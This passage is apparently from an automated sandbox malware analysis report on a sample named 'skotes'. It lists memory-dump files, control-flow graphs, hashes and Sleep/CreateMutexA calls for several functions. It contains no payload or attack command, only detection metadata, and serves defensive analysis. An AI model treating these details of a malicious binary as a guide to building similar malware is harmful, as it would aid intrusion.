                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: f36e5f6968de33c8f1442e7d72931f8575b1ef649588b020e446a24f09a1318c
                                                                                                                                                                                                                                                              • Instruction ID: 393ed3ab16b95514b37ccfbc7032d20d1a37561f0a8587630dd3fe2d0318b88a
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: f36e5f6968de33c8f1442e7d72931f8575b1ef649588b020e446a24f09a1318c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 38312631B052049BFF0CFBB8DD89BADB762EB96314F24821AE0149B2D5C73999808752
                                                                                                                                                                                                                                                              Function 00A8A682 Relevance: 3.1, APIs: 2, Instructions: 131sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 202 a8a682-a8a6a2 206 a8a6d0-a8a6ec 202->206 207 a8a6a4-a8a6b0 202->207 210 a8a71a-a8a739 206->210 211 a8a6ee-a8a6fa 206->211 208 a8a6b2-a8a6c0 207->208 209 a8a6c6-a8a6cd call a9d663 207->209 208->209 214 a8a949-a8a994 call ab6c6a * 2 Sleep CreateMutexA 208->214 209->206 212 a8a73b-a8a747 210->212 213 a8a767-a8a916 call a980c0 210->213 216 a8a6fc-a8a70a 211->216 217 a8a710-a8a717 call a9d663 211->217 219 a8a749-a8a757 212->219 220 a8a75d-a8a764 call a9d663 212->220 234 a8a996-a8a998 214->234 235 a8a9a7-a8a9a8 214->235 216->214 216->217 217->210 219->214 219->220 220->213 234->235 236 a8a99a-a8a9a5 234->236 236->235
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 133ebd7269357f9b0dc300c6790f1c3545dd79808af4b110b41dbfe9d49d1f2e
                                                                                                                                                                                                                                                              • Instruction ID: 1bd170ae7f53c875c762859fd521b20c938f4e9a42162901be5c48d940149bc3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 133ebd7269357f9b0dc300c6790f1c3545dd79808af4b110b41dbfe9d49d1f2e
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 64312A317052449BFF0CFBB8DD8976DB772EB96310F24861AE014D72D5D73999808752
                                                                                                                                                                                                                                                              Function 00A89ADC Relevance: 3.1, APIs: 2, Instructions: 107sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 238 a89adc-a89ae8 239 a89aea-a89af8 238->239 240 a89afe-a89d91 call a9d663 call a97a00 call a85c10 call a88b30 call a98220 call a97a00 call a85c10 call a88b30 call a98220 238->240 239->240 241 a8a917 239->241 244 a8a953-a8a994 Sleep CreateMutexA 241->244 245 a8a917 call ab6c6a 241->245 249 a8a996-a8a998 244->249 250 a8a9a7-a8a9a8 244->250 245->244 249->250 252 a8a99a-a8a9a5 249->252 252->250
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 5c9de19ae76574b3219ec7968f489a8d46e353ee6dccb37b1ecefc7c01141d26
                                                                                                                                                                                                                                                              • Instruction ID: b4b6b2340fcffb7cc83361897ba139dd5e412ee2aa3218c8db1259c98707e444
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5c9de19ae76574b3219ec7968f489a8d46e353ee6dccb37b1ecefc7c01141d26
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 482137327092009BEF1CBBA8DCCD77DB762EBD1310F24421AE458872D5C77999808712
                                                                                                                                                                                                                                                              Function 00A8A856 Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 306 a8a856-a8a86e 307 a8a89c-a8a89e 306->307 308 a8a870-a8a87c 306->308 311 a8a8a9-a8a8b1 call a87d30 307->311 312 a8a8a0-a8a8a7 307->312 309 a8a87e-a8a88c 308->309 310 a8a892-a8a899 call a9d663 308->310 309->310 314 a8a94e-a8a987 call ab6c6a Sleep CreateMutexA 309->314 310->307 321 a8a8b3-a8a8bb call a87d30 311->321 322 a8a8e4-a8a8e6 311->322 316 a8a8eb-a8a916 call a980c0 312->316 327 a8a98e-a8a994 314->327 321->322 328 a8a8bd-a8a8c5 call a87d30 321->328 322->316 329 a8a996-a8a998 327->329 330 a8a9a7-a8a9a8 327->330 328->322 334 a8a8c7-a8a8cf call a87d30 328->334 329->330 332 a8a99a-a8a9a5 329->332 332->330 334->322 338 a8a8d1-a8a8d9 call a87d30 334->338 338->322 341 a8a8db-a8a8e2 338->341 341->316
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNELBASE(00000000,00000000,00AE3254), ref: 00A8A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00A80000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216533682.0000000000A80000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216554116.0000000000AE2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216644171.0000000000AE9000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216672873.0000000000AEB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216699415.0000000000AF7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216851528.0000000000C45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216880066.0000000000C47000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C58000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216910902.0000000000C63000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216966721.0000000000C6B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2216999363.0000000000C6F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217042298.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217070076.0000000000C97000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217097986.0000000000C98000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217125215.0000000000C99000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217159702.0000000000CA1000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217181229.0000000000CAD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217217630.0000000000CC2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217247989.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217275963.0000000000CCE000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217310215.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217346819.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217377547.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217413032.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217443901.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217477893.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217515344.0000000000CEA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217618558.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217656034.0000000000CF2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217684215.0000000000CFA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217711519.0000000000CFD000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217739309.0000000000D05000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217759529.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217803472.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D23000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217829352.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217900302.0000000000D5B000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217926279.0000000000D5C000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217956926.0000000000D71000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2217982404.0000000000D72000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218007549.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218035471.0000000000D79000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218059060.0000000000D87000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000003.00000002.2218083151.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_3_2_a80000_skotes.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 0d947edd8a936fefcc3772c1b30174f290a54327a5dd997575b9bd914298ff5d
                                                                                                                                                                                                                                                              • Instruction ID: 0faf3d882cd47fe3f381372b059e9c0e2a8a5070713dc71346129d8aade01bb5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0d947edd8a936fefcc3772c1b30174f290a54327a5dd997575b9bd914298ff5d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 2B213D313492009BFB2CB7A8898E77DB361AFA1700F244957E144D72D1DE7A998187A3
                                                                                                                                                                                                                                                              Function 00A8A34F Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 283 a8a34f-a8a35b 284 a8a35d-a8a36b 283->284 285 a8a371-a8a39a call a9d663 283->285 284->285 286 a8a93a 284->286 291 a8a3c8-a8a916 call a980c0 285->291 292 a8a39c-a8a3a8 285->292 288 a8a953-a8a994 Sleep CreateMutexA 286->288 289 a8a93a call ab6c6a 286->289 298 a8a996-a8a998 288->298 299 a8a9a7-a8a9a8 288->299 289->288 295 a8a3aa-a8a3b8 292->295 296 a8a3be-a8a3c5 call a9d663 292->296 295->286 295->296 296->291 298->299 301 a8a99a-a8a9a5 298->301 301->299
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNELBASE(00000064), ref: 00A8A963
